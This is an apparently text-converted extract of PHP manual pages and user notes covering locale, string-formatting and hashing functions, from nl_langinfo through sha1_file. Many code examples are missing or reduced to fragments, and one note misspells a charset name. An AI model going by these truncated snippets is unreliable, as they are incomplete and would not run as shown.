'mon_thousands_sep' => '.', 'positive_sign' => '', 'negative_sign' => '-', 'int_frac_digits' => 2, 'frac_digits' => 2, 'p_cs_precedes' => 0, 'p_sep_by_space' => 1, 'p_sign_posn' => 1, 'n_sign_posn' => 1, 'grouping' => array(), 'mon_grouping' => array(0 => 3, 1 => 3) ); ?> < 15 jeremy ¶8 years ago~ If money_format doesn't seem to be working properly, make sure you are defining a valid locale. For example, on Debian, 'en_US' is not a valid locale - you need 'en_US.UTF-8' or 'en_US.ISO-8559-1'. This was frustrating me for a while. Debian has a list of valid locales at /usr/share/i18n/SUPPORTED; find yours there if it's not working properly. 9 ~B ¶4 years ago~ We found that after switching from Ubuntu 10.04 php -v 5.3.2, to Ubuntu 12.04 php -v 5.3.10 this no longer worked: > < Found that using: > < worked find -------------------------------------------------------------------------------- *nl_langinfo* +-------------+~ | nl_langinfo |~ +-------------+~ (PHP 4 >= 4.1.0, PHP 5, PHP 7) nl_langinfo — Query language and locale information Description~ > string nl_langinfo ( int $item ) < nl_langinfo() is used to access individual elements of the locale categories. Unlike localeconv(), which returns all of the elements, nl_langinfo() allows you to select any specific element. Parameters~ item ----- item may be an integer value of the element or the constant name of the element. The following is a list of constant names for item that may be used and their description. Some of these constants may not be defined or hold no value for certain locales. nl_langinfo Constants Constant Description LC_TIME Category Constants ABDAY_(1-7) Abbreviated name of n-th day of the week. DAY_(1-7) Name of the n-th day of the week (DAY_1 = Sunday). ABMON_(1-12) Abbreviated name of the n-th month of the year. MON_(1-12) Name of the n-th month of the year. AM_STR String for Ante meridian. PM_STR String for Post meridian. D_T_FMT String that can be used as the format string for strftime() to represent time and date. D_FMT String that can be used as the format string for strftime() to represent date. T_FMT String that can be used as the format string for strftime() to represent time. T_FMT_AMPM String that can be used as the format string for strftime() to represent time in 12-hour format with ante/post meridian. ERA Alternate era. ERA_YEAR Year in alternate era format. ERA_D_T_FMT Date and time in alternate era format (string can be used in strftime()). ERA_D_FMT Date in alternate era format (string can be used in strftime()). ERA_T_FMT Time in alternate era format (string can be used in strftime()). LC_MONETARY Category Constants INT_CURR_SYMBOL International currency symbol. CURRENCY_SYMBOL Local currency symbol. CRNCYSTR Same value as CURRENCY_SYMBOL. MON_DECIMAL_POINT Decimal point character. MON_THOUSANDS_SEP Thousands separator (groups of three digits). MON_GROUPING Like "grouping" element. POSITIVE_SIGN Sign for positive values. NEGATIVE_SIGN Sign for negative values. INT_FRAC_DIGITS International fractional digits. FRAC_DIGITS Local fractional digits. P_CS_PRECEDES Returns 1 if CURRENCY_SYMBOL precedes a positive value. P_SEP_BY_SPACE Returns 1 if a space separates CURRENCY_SYMBOL from a positive value. N_CS_PRECEDES Returns 1 if CURRENCY_SYMBOL precedes a negative value. N_SEP_BY_SPACE Returns 1 if a space separates CURRENCY_SYMBOL from a negative value. P_SIGN_POSN Returns 0 if parentheses surround the quantity and CURRENCY_SYMBOL. Returns 1 if the sign string precedes the quantity and CURRENCY_SYMBOL. Returns 2 if the sign string follows the quantity and CURRENCY_SYMBOL. Returns 3 if the sign string immediately precedes the CURRENCY_SYMBOL. Returns 4 if the sign string immediately follows the CURRENCY_SYMBOL. N_SIGN_POSN LC_NUMERIC Category Constants DECIMAL_POINT Decimal point character. RADIXCHAR Same value as DECIMAL_POINT. THOUSANDS_SEP Separator character for thousands (groups of three digits). THOUSEP Same value as THOUSANDS_SEP. GROUPING LC_MESSAGES Category Constants YESEXPR Regex string for matching "yes" input. NOEXPR Regex string for matching "no" input. YESSTR Output string for "yes". NOSTR Output string for "no". LC_CTYPE Category Constants CODESET Return a string with the name of the character encoding. Return Values~ Returns the element as a string, or FALSE if item is not valid. Notes Note: This function is not implemented on Windows platforms. See Also~ |setlocale|() - Set locale information |localeconv|() - Get numeric formatting information -------------------------------------------------------------------------------- *nl2br* +-------+~ | nl2br |~ +-------+~ (PHP 4, PHP 5, PHP 7) nl2br — Inserts HTML line breaks before all newlines in a string Description~ > string nl2br ( string $string [, bool $is_xhtml = true ] ) < Returns string with
    or
    inserted before all newlines (\r\n, \n\r, \n and \r). Parameters~ string ------ The input string. is_xhtml -------- Whether to use XHTML compatible line breaks or not. Return Values~ Returns the altered string. Examples~ Example #1 Using nl2br() > < The above example will output: foo isn't
    bar Example #2 Generating valid HTML markup using the is_xhtml parameter > < The above example will output: Welcome
    This is my HTML document Example #3 Various newline separators > < The above example will output: This
    is
    a
    string
    Changelog ¶ Version Description 5.3.0 Added the optional is_xhtml parameter. Before this version '
    ' was always inserted. See Also~ |htmlspecialchars|() - Convert special characters to HTML entities |htmlentities|() - Convert all applicable characters to HTML entities |wordwrap|() - Wraps a string to a given number of characters |str_replace|() - Replace all occurrences of the search string with the replacement string User Contributed Notes 11 notes 69 CGameProgrammer at gmail dot com ¶12 years ago~ It's important to remember that this function does NOT replace newlines with
    tags. Rather, it inserts a
    tag before each newline, but it still preserves the newlines themselves! This caused problems for me regarding a function I was writing -- I forgot the newlines were still being preserved. If you don't want newlines, do: > ', $Text ); ?> < 29 ngkongs at gmail dot com ¶10 years ago~ to replace all linebreaks to
    the best solution (IMO) is: > ", $string); return $string; } ?> < because each OS have different ASCII chars for linebreak: windows = \r\n unix = \n mac = \r works perfect for me 31 N/A ¶8 years ago~ Here's a more simple one: > /i', "\n", $string); } ?> < Enjoy 16 Anders Norrbring ¶11 years ago~ Seeing all these suggestions on a br2nl function, I can also see that neither would work with a sloppy written html line break.. Users can't be trusted to write good code, we know that, and mixing case isn't too uncommon. I think this little snippet would do most tricks, both XHTML style and HTML, even mixed case like

    and even
    or
    . > /i', '', $text); } ?> < 10 fquffio at live dot it ¶2 years ago~ Starting from PHP 4.3.10 and PHP 5.0.2, this should be the most correct way to replace
    and
    tags with newlines and carriage returns. > /i', PHP_EOL, $string); } ?> < (Please note this is a minor edit of this function: http://php.net/nl2br#86678 ) You might also want to be "platform specific", and therefore this function might be of some help: > /i', $separator, $string); } ?> < -------------------------------------------------------------------------------- *number_format* +---------------+~ | number_format |~ +---------------+~ (PHP 4, PHP 5, PHP 7) number_format — Format a number with grouped thousands Description~ > string number_format ( float $number [, int $decimals = 0 ] ) string number_format ( float $number , int $decimals = 0 , string $dec_point = "." , string $thousands_sep = "," ) This function accepts either one, two, or four parameters (not three): If only one parameter is given, number will be formatted without decimals, but with a comma (",") between every group of thousands. If two parameters are given, number will be formatted with decimals decimals with a dot (".") in front, and a comma (",") between every group of thousands. If all four parameters are given, number will be formatted with decimals decimals, dec_point instead of a dot (".") before the decimals and thousands_sep instead of a comma (",") between every group of thousands. Parameters~ number ------ The number being formatted. decimals -------- Sets the number of decimal points. dec_point --------- Sets the separator for the decimal point. thousands_sep ------------- Sets the thousands separator. Return Values~ A formatted version of number. Changelog~ Version Description 5.4.0 This function now supports multiple bytes in dec_point and thousands_sep. Only the first byte of each separator was used in older versions. Examples Example #1 number_format() Example For instance, French notation usually use two decimals, comma (',') as decimal separator, and space (' ') as thousand separator. The following example demonstrates various way to format a number: > < See Also~ |money_format|() - Formats a number as a currency string |sprintf|() - Return a formatted string |printf|() - Output a formatted string |sscanf|() - Parses input from a string according to a format User Contributed Notes 67 notes 99 thomas at weblizards dot de ¶8 years ago~ It's not explicitly documented; number_format also rounds: > ".number_format($number, 2, '.', ',')."
    "; ?> < 0.001->0.00 0.002->0.00 0.003->0.00 0.004->0.00 0.005->0.01 0.006->0.01 0.007->0.01 0.008->0.01 0.009->0.01 22 stm555 at hotmail dot com ¶11 years ago~ I ran across an issue where I wanted to keep the entered precision of a real value, without arbitrarily rounding off what the user had submitted. I figured it out with a quick explode on the number before formatting. I could then format either side of the decimal. > < 17 MarcM ¶11 years ago~ For Zero fill - just use the sprintf() function $pr_id = 1; $pr_id = sprintf("%03d", $pr_id); echo $pr_id; //outputs 001 ----------------- $pr_id = 10; $pr_id = sprintf("%03d", $pr_id); echo $pr_id; //outputs 010 ----------------- You can change %03d to %04d, etc. 32 james at bandit dot co.nz ¶8 years ago~ Outputs a human readable number. > 1000000000000) return round(($n/1000000000000),1).' trillion'; else if($n>1000000000) return round(($n/1000000000),1).' billion'; else if($n>1000000) return round(($n/1000000),1).' million'; else if($n>1000) return round(($n/1000),1).' thousand'; return number_format($n); } ?> < Outputs: 247,704,360 -> 247.7 million 866,965,260,000 -> 867 billion 8 besciualexandru at gmail dot com ¶1 year ago~ > // Here is a function that produces the same output as number_format() but also works with numbers bigger than 2^53. function a_number_format($number_in_iso_format, $no_of_decimals=3, $decimals_separator='.', $thousands_separator='', $digits_grouping=3){ // Check input variables if (!is_numeric($number_in_iso_format)){ error_log("Warning! Wrong parameter type supplied in my_number_format() function. Parameter \$number_in_iso_format is not a number."); return false; } if (!is_numeric($no_of_decimals)){ error_log("Warning! Wrong parameter type supplied in my_number_format() function. Parameter \$no_of_decimals is not a number."); return false; } if (!is_numeric($digits_grouping)){ error_log("Warning! Wrong parameter type supplied in my_number_format() function. Parameter \$digits_grouping is not a number."); return false; } // Prepare variables $no_of_decimals = $no_of_decimals * 1; // Explode the string received after DOT sign (this is the ISO separator of decimals) $aux = explode(".", $number_in_iso_format); // Extract decimal and integer parts $integer_part = $aux[0]; $decimal_part = isset($aux[1]) ? $aux[1] : ''; // Adjust decimal part (increase it, or minimize it) if ($no_of_decimals > 0){ // Check actual size of decimal_part // If its length is smaller than number of decimals, add trailing zeros, otherwise round it if (strlen($decimal_part) < $no_of_decimals){ $decimal_part = str_pad($decimal_part, $no_of_decimals, "0"); } else { $decimal_part = substr($decimal_part, 0, $no_of_decimals); } } else { // Completely eliminate the decimals, if there $no_of_decimals is a negative number $decimals_separator = ''; $decimal_part = ''; } // Format the integer part (digits grouping) if ($digits_grouping > 0){ $aux = strrev($integer_part); $integer_part = ''; for ($i=strlen($aux)-1; $i >= 0 ; $i--){ if ( $i % $digits_grouping == 0 && $i != 0){ $integer_part .= "{$aux[$i]}{$thousands_separator}"; } else { $integer_part .= $aux[$i]; } } } $processed_number = "{$integer_part}{$decimals_separator}{$decimal_part}"; return $processed_number; } $original_number= 9223372036854775805; echo a_number_format($original_number, 4, '.',"'",3); // Outputs: 9'223'372'036'854'775'805.1230 < 14 sgj at dr dot com ¶13 years ago~ Just an observation: The number_format rounds the value of the variable. $val1 = 1.233; $val2 = 1.235; $val3 = 1.237; echo number_format($val1,2,",","."); // returns: 1,23 echo number_format($val2,2,",","."); // returns: 1,24 echo number_format($val3,2,",","."); // returns: 1,24 Thanks to Federico Cassinelli for the bug report. [EDIT BY danbrown AT php DOT net: The original note follows.] Let's say we got the number $inp = 1234.56 By using > < you can get the German format 1.234,56. (Comma as decimal separator and point as thousand separator) But I have a problem with that: I want to add commas as thousand separators and change the decimal-separator (this could also be done with str_replace), but I do not want to change the amount of fractional digits! But since the 2nd argument of number_format is necessary to enter the 3rd and 4th argument, this cannot be done with number_format. You have to change the fractional digits with this function. But I want that 1234.56 changes into 1.234,56 and 1234.567890123456 changes into 1.234,567890123456 So, I created following function, that doesn't change the amount of fractional digits: > < -------------------------------------------------------------------------------- *ord* +-----+~ | ord |~ +-----+~ (PHP 4, PHP 5, PHP 7) ord — Return ASCII value of character Description~ > int ord ( string $string ) < Returns the ASCII value of the first character of string. This function complements chr(). Parameters~ string ------ A character. Return Values~ Returns the ASCII value as an integer. Examples~ Example #1 ord() example > < See Also~ |chr|() - Return a specific character An » ASCII-table User Contributed Notes 10 notes 30 arglanir+phpnet at gmail dot com ¶4 years ago~ As ord() doesn't work with utf-8, and if you do not have access to mb_* functions, the following function will work well: > = 128) { //otherwise 0xxxxxxx if ($code < 224) $bytesnumber = 2; //110xxxxx else if ($code < 240) $bytesnumber = 3; //1110xxxx else if ($code < 248) $bytesnumber = 4; //11110xxx $codetemp = $code - 192 - ($bytesnumber > 2 ? 32 : 0) - ($bytesnumber > 3 ? 16 : 0); for ($i = 2; $i <= $bytesnumber; $i++) { $offset ++; $code2 = ord(substr($string, $offset, 1)) - 128; //10xxxxxx $codetemp = $codetemp*64 + $code2; } $code = $codetemp; } $offset += 1; if ($offset >= strlen($string)) $offset = -1; return $code; } ?> < $offset is a reference, as it is not easy to split a utf-8 char-by-char. Useful to iterate on a string: > = 0) { echo $offset.": ".ordutf8($text, $offset)."\n"; } /* returns: 0: 97 1: 98 2: 99 3: 224 5: 234 7: 223 9: 8364 12: 97 13: 98 14: 99 */ ?> < Feel free to adapt my code to fit your needs. 12 rowan dot collins at cwtdigital dot com ¶3 years ago~ Regarding character sets, and whether or not this is "ASCII". Firstly, there is no such thing as "8-bit ASCII", so if it were ASCII it would only ever return integers up to 127. 8-bit ASCII-compatible encodings include the ISO 8859 family of encodings, which map various common characters to the values from 128 to 255. UTF-8 is also designed so that characters representable in 7-bit ASCII are coded the same; byte values higher than 127 in a UTF-8 string represent the beginning of a multi-byte character. In fact, like most of PHP's string functions, this function isn't doing anything to do with character encoding at all - it is just interpreting a binary byte from a string as an unsigned integer. That is, ord(chr(200)) will always return 200, but what character chr(200) *means* will vary depending on what character encoding it is *interpreted* as part of (e.g. during display). A technically correct description would be "Returns an integer representation of the first byte of a string, from 0 to 255. For single-byte encodings such as (7-bit) ASCII and the ISO 8859 family, this will correspond to the first character, and will be the position of that character in the encoding's mapping table. For multi-byte encodings, such as UTF-8 or UTF-16, the byte may not represent a complete character." The link to asciitable.com should also be replaced by one which explains what character encoding it is displaying, as "Extended ASCII" is an ambiguous and misleading name. 6 v0rbiz at yahoo dot com ¶12 years ago~ I did not found a unicode/multibyte capable 'ord' function, so... > < -------------------------------------------------------------------------------- *parse_str* +-----------+~ | parse_str |~ +-----------+~ (PHP 4, PHP 5, PHP 7) parse_str — Parses the string into variables Description~ > void parse_str ( string $encoded_string [, array &$result ] ) < Parses encoded_string as if it were the query string passed via a URL and sets variables in the current scope (or in the array if result is provided). Parameters~ encoded_string -------------- The input string. result ------ If the second parameter result is present, variables are stored in this variable as array elements instead. Warning Using this function without the result parameter is highly DISCOURAGED and DEPRECATED as of PHP 7.2. Dynamically setting variables in function's scope suffers from exactly same problems as register_globals. Read section on security of Using Register Globals explaining why it is dangerous. Return Values~ No value is returned. Changelog~ Version Description 7.2.0 Usage of parse_str() without a second parameter now emits an E_DEPRECATED notice. Examples~ Example #1 Using parse_str() > < Because variables in PHP can't have dots and spaces in their names, those are converted to underscores. Same applies to naming of respective key names in case of using this function with result parameter. Example #2 parse_str() name mangling > < Notes Note: All variables created (or values returned into array if second parameter is set) are already urldecode()d. Note: To get the current QUERY_STRING, you may use the variable $_SERVER['QUERY_STRING']. Also, you may want to read the section on variables from external sources. Note: The magic_quotes_gpc setting affects the output of this function, as parse_str() uses the same mechanism that PHP uses to populate the $_GET, $_POST, etc. variables. See Also~ |parse_url|() - Parse a URL and return its components |pathinfo|() - Returns information about a file path |http_build_query|() - Generate URL-encoded query string |urldecode|() - Decodes URL-encoded string User Contributed Notes 31 notes 20 Evan K ¶9 years ago~ It bears mentioning that the parse_str builtin does NOT process a query string in the CGI standard way, when it comes to duplicate fields. If multiple fields of the same name exist in a query string, every other web processing language would read them into an array, but PHP silently overwrites them: > '3'); ?> < Instead, PHP uses a non-standards compliant practice of including brackets in fieldnames to achieve the same effect. > array('1', '2', '3') ); ?> < This can be confusing for anyone who's used to the CGI standard, so keep it in mind. As an alternative, I use a "proper" querystring parser function: > < 9 Olivier Mengué ¶10 years ago~ Vladimir: the function is OK in how it deals with &. & must only be used when outputing URLs in HTML/XML data. You should ask yourself why you have & in your URL when you give it to parse_str. 6 shagshag ¶4 years ago~ That's not says in the description but max_input_vars directive affects this function. If there are more input variables on the string than specified by this directive, an E_WARNING is issued, and further input variables are truncated from the request. -------------------------------------------------------------------------------- *print* +-------+~ | print |~ +-------+~ (PHP 4, PHP 5, PHP 7) print — Output a string Description~ > int print ( string $arg ) < Outputs arg. print is not actually a real function (it is a language construct) so you are not required to use parentheses with its argument list. The only difference to echo is that print only accepts a single argument. Parameters~ arg ----- The input data. Return Values~ Returns 1, always. Examples~ Example #1 print examples > "foo"); print "this is {$bar['value']} !"; // this is foo ! // Using single quotes will print the variable name, not the value print 'foo is $foo'; // foo is $foo // If you are not using any other characters, you can just print variables print $foo; // foobar print << < Notes Note: Because this is a language construct and not a function, it cannot be called using variable functions. See Also~ |echo| - Output one or more strings |printf|() - Output a formatted string |flush|() - Flush system output buffer Heredoc syntax User Contributed Notes 8 notes 23 user at example dot net ¶8 years ago~ Be careful when using print. Since print is a language construct and not a function, the parentheses around the argument is not required. In fact, using parentheses can cause confusion with the syntax of a function and SHOULD be omited. Most would expect the following behavior: > < But since the parenthesis around the argument are not required, they are interpretet as part of the argument. This means that the argument of the first print is > ("foo") && print("bar") < and the argument of the second print is just > ("bar") < For the expected behavior of the first example, you need to write: > < 10 danielxmorris @ gmail dotcom ¶8 years ago~ I wrote a println function that determines whether a \n or a
    should be appended to the line depending on whether it's being executed in a shell or a browser window. People have probably thought of this before but I thought I'd post it anyway - it may help a couple of people. > " : print "$string_message\n"; } ?> < Examples: Running in a browser: > < Output: Hello, world!
    Running in a shell: > < Output: Hello, world!\n 6 jon ¶9 years ago~ the FAQTs article can be found archived at http://web.archive.org/web/20060601063513/http ://www.faqts.com/knowledge_base/view.phtml/aid/1/fid/40 (url split to get past the line-length limitation) -------------------------------------------------------------------------------- *printf* +--------+~ | printf |~ +--------+~ (PHP 4, PHP 5, PHP 7) printf — Output a formatted string Description~ > int printf ( string $format [, mixed $args [, mixed $... ]] ) < Produces output according to format. Parameters~ format ------ See sprintf() for a description of format. args ----- ... Return Values~ Returns the length of the outputted string. See Also~ |print| - Output a string |sprintf|() - Return a formatted string |vprintf|() - Output a formatted string |sscanf|() - Parses input from a string according to a format |fscanf|() - Parses input from a file according to a format |flush|() - Flush system output buffer User Contributed Notes 15 notes 8 php at mole dot gnubb dot net ¶11 years ago~ [Editor's Note: Or just use vprintf...] If you want to do something like (this doesn't work) instead of you can use this function: > < Use it the following way: > < and it will print: There is a difference between good and evil 6 dhosek at excite dot com ¶17 years ago~ Be careful: printf ("(9.95 * 100) = %d \n", (9.95 * 100)); '994' First %d converts a float to an int by truncation. Second floats are notorious for tiny little rounding errors. -------------------------------------------------------------------------------- *quoted_printable_decode* +-------------------------+~ | quoted_printable_decode |~ +-------------------------+~ (PHP 4, PHP 5, PHP 7) quoted_printable_decode — Convert a quoted-printable string to an 8 bit string Description~ > string quoted_printable_decode ( string $str ) < This function returns an 8-bit binary string corresponding to the decoded quoted printable string (according to » RFC2045, section 6.7, not » RFC2821, section 4.5.2, so additional periods are not stripped from the beginning of line). This function is similar to imap_qprint(), except this one does not require the IMAP module to work. Parameters~ str ----- The input string. Return Values~ Returns the 8-bit binary string. See Also~ |quoted_printable_encode|() - Convert a 8 bit string to a quoted-printable string User Contributed Notes 20 notes -------------------------------------------------------------------------------- *quoted_printable_encode* +-------------------------+~ | quoted_printable_encode |~ +-------------------------+~ (PHP 5 >= 5.3.0, PHP 7) quoted_printable_encode — Convert a 8 bit string to a quoted-printable string Description~ > string quoted_printable_encode ( string $str ) < Returns a quoted printable string created according to » RFC2045, section 6.7. This function is similar to imap_8bit(), except this one does not require the IMAP module to work. Parameters~ str ----- The input string. Return Values~ Returns the encoded string. See Also~ |quoted_printable_decode|() - Convert a quoted-printable string to an 8 bit string |iconv_mime_encode|() - Composes a MIME header field User Contributed Notes 6 notes -------------------------------------------------------------------------------- *quotemeta* +-----------+~ | quotemeta |~ +-----------+~ (PHP 4, PHP 5, PHP 7) quotemeta — Quote meta characters Description~ > string quotemeta ( string $str ) < Returns a version of str with a backslash character (\) before every character that is among these: . \ + * ? [ ^ ] ( $ ) Parameters~ str ----- The input string. Return Values~ Returns the string with meta characters quoted, or FALSE if an empty string is given as str. Notes Note: This function is binary-safe. See Also~ |addslashes|() - Quote string with slashes |addcslashes|() - Quote string with slashes in a C style |htmlentities|() - Convert all applicable characters to HTML entities |htmlspecialchars|() - Convert special characters to HTML entities |nl2br|() - Inserts HTML line breaks before all newlines in a string |stripslashes|() - Un-quotes a quoted string |stripcslashes|() - Un-quote string quoted with addcslashes |ereg|() - Regular expression match |preg_quote|() - Quote regular expression characters User Contributed Notes 3 notes -------------------------------------------------------------------------------- *rtrim* +-------+~ | rtrim |~ +-------+~ (PHP 4, PHP 5, PHP 7) rtrim — Strip whitespace (or other characters) from the end of a string Description~ > string rtrim ( string $str [, string $character_mask ] ) < This function returns a string with whitespace (or other characters) stripped from the end of str. Without the second parameter, rtrim() will strip these characters: " " (ASCII 32 (0x20)), an ordinary space. "\t" (ASCII 9 (0x09)), a tab. "\n" (ASCII 10 (0x0A)), a new line (line feed). "\r" (ASCII 13 (0x0D)), a carriage return. "\0" (ASCII 0 (0x00)), the NULL-byte. "\x0B" (ASCII 11 (0x0B)), a vertical tab. Parameters~ str ----- The input string. character_mask -------------- You can also specify the characters you want to strip, by means of the character_mask parameter. Simply list all characters that you want to be stripped. With .. you can specify a range of characters. Return Values~ Returns the modified string. Examples~ Example #1 Usage example of rtrim() > < The above example will output: > string(32) " These are a few words :) ... " string(16) " Example string " string(11) "Hello World" string(30) " These are a few words :) ..." string(26) " These are a few words :)" string(9) "Hello Wor" string(15) " Example string" < See Also~ |trim|() - Strip whitespace (or other characters) from the beginning and end of a string |ltrim|() - Strip whitespace (or other characters) from the beginning of a string User Contributed Notes 14 notes 47 pinkgothic at gmail dot com ¶7 years ago~ I have an obsessive love for php's array functions given how extremely easy they've made complex string handling for me in various situations... so, have another string-rtrim() variant: > < Astonishingly, something I didn't expect, but: It completely compares to harmor's rstrtrim below, execution time wise. o_o Whee! 28 gbelanger at exosecurity dot com ¶11 years ago~ True, the Perl chomp() will only trim newline characters. There is, however, the Perl chop() function which is pretty much identical to the PHP rtrim() --- Here's a quick way to recursively trim every element of an array, useful after the file() function : > $sValue) { $aFileContent[$sKey] = rtrim($sValue); } print_r($aFileContent); ?> < 12 pinkgothic at gmail dot com ¶3 years ago~ On the recurring subject of string-stripping instead of character-stripping rtrim() implementations... the simplest (with a caveat) is probably the basename() function. It has a second parameter that functions as a right-trim using whole strings: > < ...outputs 'Moo'. Since it also strips anything that looks like a directory, it's not quite identical with hacking a string off the end: > < ...still outputs 'Moo'. But sometimes it gets the job done. 12 todd at magnifisites dot com ¶13 years ago~ This shows how rtrim works when using the optional charlist parameter: rtrim reads a character, one at a time, from the optional charlist parameter and compares it to the end of the str string. If the characters match, it trims it off and starts over again, looking at the "new" last character in the str string and compares it to the first character in the charlist again. If the characters do not match, it moves to the next character in the charlist parameter comparing once again. It continues until the charlist parameter has been completely processed, one at a time, and the str string no longer contains any matches. The newly "rtrimmed" string is returned. > < 6 krzysiek dot 333 at gmail dot com ¶4 years ago~ > function read_more($in,$len=160){ if(strlen($in)>$len){ return preg_replace('/[\s\.,][^\s\.,]*$/u', '', substr($in, 0, $len)).'...'; }else{ return $in; } } echo read_mode("Lorem ipsum dolor sit amet, consectetur adipisicing elit. Proin nibh augue, suscipit a, scelerisque sed, lacinia in, mi. Cras vel lorem. Etiam pellentesque aliquet tellus. Phasellus pharetra nulla ac diam. Quisque semper justo at risus. Donec venenatis, turpis vel hendrerit interdum, dui ligula ultricies purus, sed posuere libero dui id orci."); /* Output: Lorem ipsum dolor sit amet, consectetur adipisicing elit. Proin nibh augue, suscipit a, scelerisque sed, lacinia in, mi. Cras vel lorem. Etiam pellentesque...*/ < 9 HW ¶13 years ago~ > < 6 Unimagined at UnaimaginedDesigns dot Com ¶12 years ago~ I needed a way to trim all white space and then a few chosen strings from the end of a string. So I wrote this class to reuse when stuff needs to be trimmed. > cleaner = $pinfo; } } $pinfo = "Well... I'm really bored...

      \n\t 


      \r\r 
    \r

    \r   \n

    \t"; $cuts = array('\n','\r','\t',' ',' ',' ','
    ','
    ','
    '); $pinfo = new cleaner($cuts,$pinfo); $pinfo = $pinfo->cleaner; print $pinfo; ?> < That class will take any string that you put in the $cust array and remove it from the end of the $pinfo string. It's useful for cleaning up comments, articles, or mail that users post to your site, making it so there's no extra blank space or blank lines. -------------------------------------------------------------------------------- *setlocale* +-----------+~ | setlocale |~ +-----------+~ (PHP 4, PHP 5, PHP 7) setlocale — Set locale information Description~ > string setlocale ( int $category , string $locale [, string $... ] ) string setlocale ( int $category , array $locale ) < Sets locale information. Parameters~ category -------- category is a named constant specifying the category of the functions affected by the locale setting: LC_ALL for all of the below LC_COLLATE for string comparison, see strcoll() LC_CTYPE for character classification and conversion, for example strtoupper() LC_MONETARY for localeconv() LC_NUMERIC for decimal separator (See also localeconv()) LC_TIME for date and time formatting with strftime() LC_MESSAGES for system responses (available if PHP was compiled with libintl) locale If locale is NULL or the empty string "", the locale names will be set from the values of environment variables with the same names as the above categories, or from "LANG". If locale is "0", the locale setting is not affected, only the current setting is returned. If locale is an array or followed by additional parameters then each array element or parameter is tried to be set as new locale until success. This is useful if a locale is known under different names on different systems or for providing a fallback for a possibly not available locale. ... (Optional string or array parameters to try as locale settings until success.) Note: On Windows, setlocale(LC_ALL, '') sets the locale names from the system's regional/language settings (accessible via Control Panel). Return Values~ Returns the new current locale, or FALSE if the locale functionality is not implemented on your platform, the specified locale does not exist or the category name is invalid. An invalid category name also causes a warning message. Category/locale names can be found in » RFC 1766 and » ISO 639. Different systems have different naming schemes for locales. Note: The return value of setlocale() depends on the system that PHP is running. It returns exactly what the system setlocale function returns. Changelog~ Version Description 7.0.0 Support for the category parameter passed as a string has been removed. Only LC_* constants can be used as of this version. 5.3.0 This function now throws an E_DEPRECATED notice if a string is passed to the category parameter instead of one of the LC_* constants. Examples~ Example #1 setlocale() Examples > < Example #2 setlocale() Examples for Windows > < Notes Warning The locale information is maintained per process, not per thread. If you are running PHP on a multithreaded server API like IIS, HHVM or Apache on Windows, you may experience sudden changes in locale settings while a script is running, though the script itself never called setlocale(). This happens due to other scripts running in different threads of the same process at the same time, changing the process-wide locale using setlocale(). Tip Windows users will find useful information about locale strings at Microsoft's MSDN website. Supported language strings can be found in the » language strings documentation and supported country/region strings in the » country/region strings documentation. User Contributed Notes 41 notes 85 r dot nospam dot velseboer at quicknet dot nospam dot nl ¶14 years ago~ be careful with the LC_ALL setting, as it may introduce some unwanted conversions. For example, I used > setlocale (LC_ALL, "Dutch"); < to get my weekdays in dutch on the page. From that moment on (as I found out many hours later) my floating point values from MYSQL where interpreted as integers because the Dutch locale wants a comma (,) instead of a point (.) before the decimals. I tried printf, number_format, floatval.... all to no avail. 1.50 was always printed as 1.00 :( When I set my locale to : > setlocale (LC_TIME, "Dutch"); < my weekdays are good now and my floating point values too. I hope I can save some people the trouble of figuring this out by themselves. Rob 31 russ at eatmymonkeydust dot com ¶5 years ago~ If you are looking for a getlocale() function simply pass 0 (zero) as the second parameter to setlocale(). Beware though if you use the category LC_ALL and some of the locales differ as a string containing all the locales is returned: > < If you are looking to store and reset the locales you could do something like this: > < The above works here (Ubuntu Linux) but as the setlocale() function is just wrapping the equivalent system calls, your mileage may vary on the result. 18 Kari Sderholm aka Haprog ¶7 years ago~ It took me a while to figure out how to get a Finnish locale correctly set on Ubuntu Server with Apache2 and PHP5. At first the output for "locale -a" was this: C en_US.utf8 POSIX I had to install a finnish language pack with "sudo apt-get install language-pack-fi-base" Now the output for "locale -a" is: C en_US.utf8 fi_FI.utf8 POSIX The last thing you need to do after installing the correct language pack is restart Apache with "sudo apache2ctl restart". The locale "fi_FI.utf8" can then be used in PHP5 after restarting Apache. For setting Finnish timezone and locale in PHP use: > < 9 Shashakhmetov Talgat ¶1 year ago~ > //Fix encoding for russian locale on windows $locale = setlocale(LC_ALL, 'ru_RU.CP1251', 'rus_RUS.CP1251', 'Russian_Russia.1251'); function strftime_fix($format, $locale, $timestamp = time()){ // Fix %e for windows if (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN') { $format = preg_replace('#(? < where directory structure of locale is (for example) : locale/fr_FR/LC_MESSAGES/mydomain.mo locale/en_US/LC_MESSAGES/mydomain.mo and ABSPATH is the absolute path to the locale dir further note, under linux systems, it seems to be necessary to create the locale at os level using 'locale-gen'. -------------------------------------------------------------------------------- *sha1_file* +-----------+~ | sha1_file |~ +-----------+~ (PHP 4 >= 4.3.0, PHP 5, PHP 7) sha1_file — Calculate the sha1 hash of a file Description~ > string sha1_file ( string $filename [, bool $raw_output = false ] ) < Calculates the sha1 hash of the file specified by filename using the » US Secure Hash Algorithm 1, and returns that hash. The hash is a 40-character hexadecimal number. Parameters~ filename -------- The filename of the file to hash. raw_output ---------- When TRUE, returns the digest in raw binary format with a length of 20. Return Values~ Returns a string on success, FALSE otherwise. Examples~ Example #1 sha1_file() example > < Changelog~ Version Description 5.1.0 Changed the function to use the streams API. It means that you can use it with wrappers, like sha1_file('http://example.com/..') See Also~ |sha1|() - Calculate the sha1 hash of a string |md5_file|() - Calculates the md5 hash of a given file |crc32|() - Calculates the crc32 polynomial of a string User Contributed Notes 5 notes 22 xijque at gmail dot com ¶5 years ago~ Just for the record - As some have pointed out, you have two ways to generate the hash of a file: Method 1 [this function]: sha1_file($file) Method 2: sha1(file_get_contents($file)) It's important to realize that these two methods are NOT the same thing. If they were, I seriously doubt this function would exist. The key difference, as far as I can tell, is how the file's contents are loaded. The second method loads the entirety of $file into memory before passing it to sha1($str). Method two, however, loads the contents of $file as they are needed to create the hash. If you can guarantee that you'll only ever have to hash relatively small files, this difference means very little. If you have larger ones, though, loading the entirety of file into memory is a bad idea: best case, you slow down your server as it tries to handle the request; worse case, you run out of memory and don't get your hash at all. Just try to keep this in mind if you decide to load the file's contents yourself, in lieu of using this function. On my system, I was able to use this function to generate the hash of a 2.6GB file in 22 seconds, whereas I could not with the second method, due to an out-of-memory error (which took 185 seconds). -------------------------------------------------------------------------------- *sha1* +------+~ | sha1 |~ +------+~ (PHP 4 >= 4.3.0, PHP 5, PHP 